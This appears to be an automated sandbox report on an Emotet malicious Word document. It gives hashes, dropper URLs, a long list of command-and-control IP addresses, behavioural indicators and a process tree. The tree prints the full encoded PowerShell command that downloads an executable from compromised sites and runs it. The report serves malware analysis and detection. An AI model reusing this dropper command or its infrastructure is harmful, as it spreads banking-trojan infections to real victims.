emotet | 3783d48d6d44d88d9bf4bbb9eaa9b4f10b258447d45b5d8c2e49c5132cdc9284

General

Target
RechnungScan_2020_09_6045184249.doc
Size 212KB
Sample200921-3a2lex2spj
SHA256 3783d48d6d44d88d9bf4bbb9eaa9b4f10b258447d45b5d8c2e49c5132cdc9284
MD5 ac2e182020a21eb6b018a9a13c520f28
SHA1 0393b9a0cd888340cac8664448dc0bae9b313a3f
SHA512 80bcd7514caae2de6da7459aff4d95986d170cf2ea361fbe636a52255a80dc5e5d5347b48e6365d5a605f06f6e80b6aba0c3948436bdaba806e5bc8e23d5c4c8
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://www.1plus-agency.com/tmp/nlr08Z0/
exe.dropper
http://winadev.com/uglot/iiClU/
exe.dropper
https://enews.enkj.com/wordpress/h62/
exe.dropper
https://apicosto.misco-furniture.com/dvzmj/0xm3yS/
exe.dropper
http://drbeatrice.com/wp-content/HSz/
exe.dropper
https://ienerpro.com/cgi-bin/VVwhOR/
exe.dropper
https://premierbarsamui.com/Irc/O/

Extracted

Family

emotet

C2

24.43.32.186:80
38.111.46.46:8080
134.209.36.254:8080
162.241.242.173:8080
74.120.55.163:80
61.92.17.12:80
219.74.18.66:443
156.155.166.221:80
104.131.44.150:8080
37.139.21.175:8080
94.1.108.190:443
169.239.182.217:8080
220.245.198.194:80
139.99.158.11:443
91.211.88.52:7080
62.75.141.82:80
174.45.13.118:80
137.119.36.33:80
188.219.31.12:80
103.86.49.11:8080
104.131.11.150:443
124.41.215.226:80
78.187.156.31:80
104.32.141.43:80
47.144.21.12:443
93.147.212.206:80
200.123.150.89:443
121.7.127.163:80
200.114.213.233:8080
94.200.114.161:80
24.179.13.119:80
84.39.182.7:80
97.82.79.83:80
87.106.136.232:8080
5.196.74.210:8080
24.43.99.75:80
213.196.135.145:80
94.23.237.171:443
74.134.41.124:80
96.249.236.156:443
95.213.236.64:8080
137.59.187.107:8080
75.139.38.211:80
82.225.49.121:80
123.176.25.234:80
194.187.133.160:443
62.30.7.67:443
109.74.5.95:8080
176.111.60.55:8080
24.137.76.62:80
37.187.72.193:8080
110.145.77.103:80
153.137.36.142:80
1.221.254.82:80
195.7.12.8:80
110.5.16.198:80
185.94.252.104:443
104.236.246.93:8080
78.24.219.147:8080
85.152.162.105:80
85.105.205.77:8080
139.59.60.244:8080
79.137.83.50:443
50.91.114.38:80
172.91.208.86:80
74.219.172.26:80
83.169.36.251:8080
153.232.188.106:80
209.141.54.221:8080
168.235.67.138:7080
139.130.242.43:80
121.124.124.40:7080
89.216.122.92:80
203.153.216.189:7080
187.161.206.24:80
157.245.99.39:8080
195.251.213.56:80
71.72.196.159:80
174.102.48.180:443
181.169.34.190:80
140.186.212.146:80
201.173.217.124:443
42.200.107.142:80
79.98.24.39:8080
5.39.91.110:7080
139.162.108.71:8080
74.208.45.104:8080
61.19.246.238:443
50.35.17.13:80
95.179.229.244:8080
216.139.123.119:80
120.150.60.189:80
219.75.128.166:80
68.188.112.97:80
107.5.122.110:80
87.106.139.101:8080
46.105.131.79:8080
82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1760	3268	powershell.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2480-13-0x00000000004F0000-0x0000000000502000-memory.dmp	emotet
behavioral2/memory/2480-13-0x00000000004F0000-0x0000000000502000-memory.dmp	emotet
behavioral2/memory/2480-14-0x0000000000650000-0x0000000000660000-memory.dmp	emotet
behavioral2/memory/2480-14-0x0000000000650000-0x0000000000660000-memory.dmp	emotet
behavioral2/memory/1076-17-0x0000000000680000-0x0000000000692000-memory.dmp	emotet
behavioral2/memory/1076-17-0x0000000000680000-0x0000000000692000-memory.dmp	emotet
behavioral2/memory/1076-18-0x0000000001F90000-0x0000000001FA0000-memory.dmp	emotet
behavioral2/memory/1076-18-0x0000000001F90000-0x0000000001FA0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	1760	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2480	Tlylng.exe
1076	dmloader.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\calc\dmloader.exe	Tlylng.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2096	WINWORD.EXE
2096	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe
1076	dmloader.exe
1076	dmloader.exe
1076	dmloader.exe
1076	dmloader.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2096	WINWORD.EXE
2480	Tlylng.exe
1076	dmloader.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 2480	1760	powershell.exe	78
PID 1760 wrote to memory of 2480	1760	powershell.exe	78
PID 1760 wrote to memory of 2480	1760	powershell.exe	78
PID 2480 wrote to memory of 1076	2480	Tlylng.exe	80
PID 2480 wrote to memory of 1076	2480	Tlylng.exe	80
PID 2480 wrote to memory of 1076	2480	Tlylng.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RechnungScan_2020_09_6045184249.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABRAGMAawA4ADIAOAB2AD0AKAAoACcAUgAnACsAJwBoAHgAZAAnACkAKwAnAHMAJwArACcAbwBqACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAUgBQAHIATwBmAGkAbABFAFwAWABCADEAcgBxAE0AbwBcAEMAagAyAHoAMgBqAFAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBgAFIAaQB0AGAAWQBwAFIAYABPAHQAbwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAxACcAKwAoACcAMQAnACsAJwAsACAAdABsACcAKwAnAHMAJwApACkAOwAkAE0AbwA2ADAAYwBrAHgAIAA9ACAAKAAnAFQAbAAnACsAJwB5AGwAJwArACcAbgBnACcAKQA7ACQASwB5AHIAMwBsADMANgA9ACgAKAAnAEcAJwArACcAXwBnACcAKwAnAG0AYQBhACcAKQArACcAMgAnACkAOwAkAFQAYgBfADYAdQBzAHQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAWAAnACsAJwA5ACcAKwAoACcAQgAnACsAJwBYAGIAMQAnACkAKwAnAHIAcQAnACsAKAAnAG0AbwBYADkAQgBDACcAKwAnAGoAJwApACsAJwAyAHoAJwArACgAJwAyACcAKwAnAGoAcABYADkAQgAnACkAKQAuACIAUgBgAEUAYABwAGwAYQBDAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA4ACsAWwBDAEgAQQBSAF0ANQA3ACsAWwBDAEgAQQBSAF0ANgA2ACkALABbAHMAdAByAGkAbgBHAF0AWwBDAEgAQQBSAF0AOQAyACkAKQArACQATQBvADYAMABjAGsAeAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWgByAGoANQBpAHoAawA9ACgAKAAnAFIAYQB3ACcAKwAnADAAJwArACcAcAB3ACcAKQArACcAZAAnACkAOwAkAFQAagAzAGEAOQAxADMAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAEIAYwBsAGkAZQBOAHQAOwAkAFoAaAA5AGYAcgBuAG4APQAoACgAJwBoAHQAJwArACcAdABwAHMAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwB3AHcAdwAuACcAKwAnADEAJwApACsAKAAnAHAAJwArACcAbAB1ACcAKQArACcAcwAtACcAKwAoACcAYQBnACcAKwAnAGUAJwApACsAKAAnAG4AJwArACcAYwB5AC4AJwApACsAKAAnAGMAbwBtACcAKwAnAC8AdABtAHAALwBuACcAKwAnAGwAcgAwADgAJwArACcAWgAwAC8AKgBoAHQAdAAnACsAJwBwADoALwAvACcAKQArACgAJwB3AGkAbgBhAGQAZQB2AC4AJwArACcAYwBvAG0AJwArACcALwB1AGcAJwApACsAJwBsAG8AJwArACgAJwB0AC8AaQBpAEMAbAAnACsAJwBVAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwA6AC8AJwApACsAKAAnAC8AZQAnACsAJwBuAGUAJwApACsAJwB3AHMAJwArACcALgBlACcAKwAoACcAbgBrACcAKwAnAGoALgAnACkAKwAoACcAYwBvAG0ALwB3ACcAKwAnAG8AJwArACcAcgBkAHAAcgAnACsAJwBlAHMAcwAvAGgAJwArACcANgAyACcAKwAnAC8AKgBoACcAKQArACgAJwB0AHQAcABzADoALwAnACsAJwAvACcAKQArACcAYQAnACsAJwBwAGkAJwArACcAYwAnACsAJwBvACcAKwAoACcAcwAnACsAJwB0AG8ALgBtAGkAcwBjAG8ALQAnACsAJwBmACcAKwAnAHUAJwArACcAcgBuAGkAdAB1AHIAJwArACcAZQAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwBkAHYAegAnACsAJwBtAGoALwAnACsAJwAwAHgAbQAzAHkAUwAvACcAKQArACcAKgAnACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAGQAJwArACcAcgBiACcAKQArACcAZQBhACcAKwAnAHQAcgAnACsAJwBpAGMAJwArACgAJwBlAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAdwBwAC0AYwBvAG4AdAAnACsAJwBlAG4AJwArACcAdAAvAEgAJwApACsAKAAnAFMAegAnACsAJwAvACoAaAB0AHQAcABzADoAJwArACcALwAnACsAJwAvAGkAZQBuACcAKwAnAGUAJwApACsAJwByACcAKwAnAHAAJwArACgAJwByAG8ALgBjACcAKwAnAG8AJwArACcAbQAvAGMAJwApACsAJwBnAGkAJwArACgAJwAtAGIAaQBuAC8AVgAnACsAJwBWACcAKQArACgAJwB3ACcAKwAnAGgATwAnACkAKwAnAFIALwAnACsAJwAqAGgAJwArACcAdAB0ACcAKwAnAHAAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAHAAJwApACsAKAAnAHIAZQAnACsAJwBtACcAKQArACgAJwBpAGUAcgBiACcAKwAnAGEAJwApACsAKAAnAHIAcwAnACsAJwBhACcAKwAnAG0AdQBpAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAJwAvAEkAJwArACcAcgAnACsAJwBjACcAKwAoACcALwBPACcAKwAnAC8AJwApACkALgAiAHMAYABwAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATAAzADcAagBqAGUAawA9ACgAKAAnAFYAJwArACcAaABwAGUAJwApACsAKAAnAGwAJwArACcAYgBpACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASwBuAG8AdQBuAGMAeAAgAGkAbgAgACQAWgBoADkAZgByAG4AbgApAHsAdAByAHkAewAkAFQAagAzAGEAOQAxADMALgAiAGQATwB3AGAATgBsAG8AQQBgAEQARgBpAEwARQAiACgAJABLAG4AbwB1AG4AYwB4ACwAIAAkAFQAYgBfADYAdQBzAHQAKQA7ACQAWgAwAHkANgBkAG0AYgA9ACgAJwBKAHIAJwArACgAJwBkAGwAJwArACcAZgAnACkAKwAnADcAdgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAVABiAF8ANgB1AHMAdAApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMgA0ADYANgApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAJwArACcAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABUAGIAXwA2AHUAcwB0ACkAOwAkAFcANwBpAGYAcwBkADcAPQAoACgAJwBPAGEAJwArACcAYgBrACcAKQArACcAZwAnACsAJwB6AHgAJwApADsAYgByAGUAYQBrADsAJABOADAAcgAwAGkAaABlAD0AKAAoACcARQA3ACcAKwAnADQAJwApACsAKAAnAGEAXwAnACsAJwB1ACcAKQArACcAOQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAaQBxAGcAXwAwAHMAPQAoACcAVQAnACsAKAAnAHoAdQBtACcAKwAnAGEAJwApACsAJwBwAGcAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Users\Admin\Xb1rqmo\Cj2z2jp\Tlylng.exe
  "C:\Users\Admin\Xb1rqmo\Cj2z2jp\Tlylng.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\SysWOW64\calc\dmloader.exe
    "C:\Windows\SysWOW64\calc\dmloader.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1076-17-0x0000000000680000-0x0000000000692000-memory.dmp

Download

memory/1076-18-0x0000000001F90000-0x0000000001FA0000-memory.dmp

Download

memory/1760-7-0x00007FFB53810000-0x00007FFB541FC000-memory.dmp

Download

memory/1760-8-0x000002943A250000-0x000002943A251000-memory.dmp

Download

memory/1760-9-0x000002943A420000-0x000002943A421000-memory.dmp

Download

memory/2096-6-0x00000225D413D000-0x00000225D414A000-memory.dmp

Download

memory/2096-5-0x00000225D413D000-0x00000225D414A000-memory.dmp

Download

memory/2096-0-0x00007FFB5AD20000-0x00007FFB5B3E6000-memory.dmp

Download

memory/2096-3-0x00000225D41F1000-0x00000225D41FE000-memory.dmp

Download

memory/2480-13-0x00000000004F0000-0x0000000000502000-memory.dmp

Download

memory/2480-14-0x0000000000650000-0x0000000000660000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads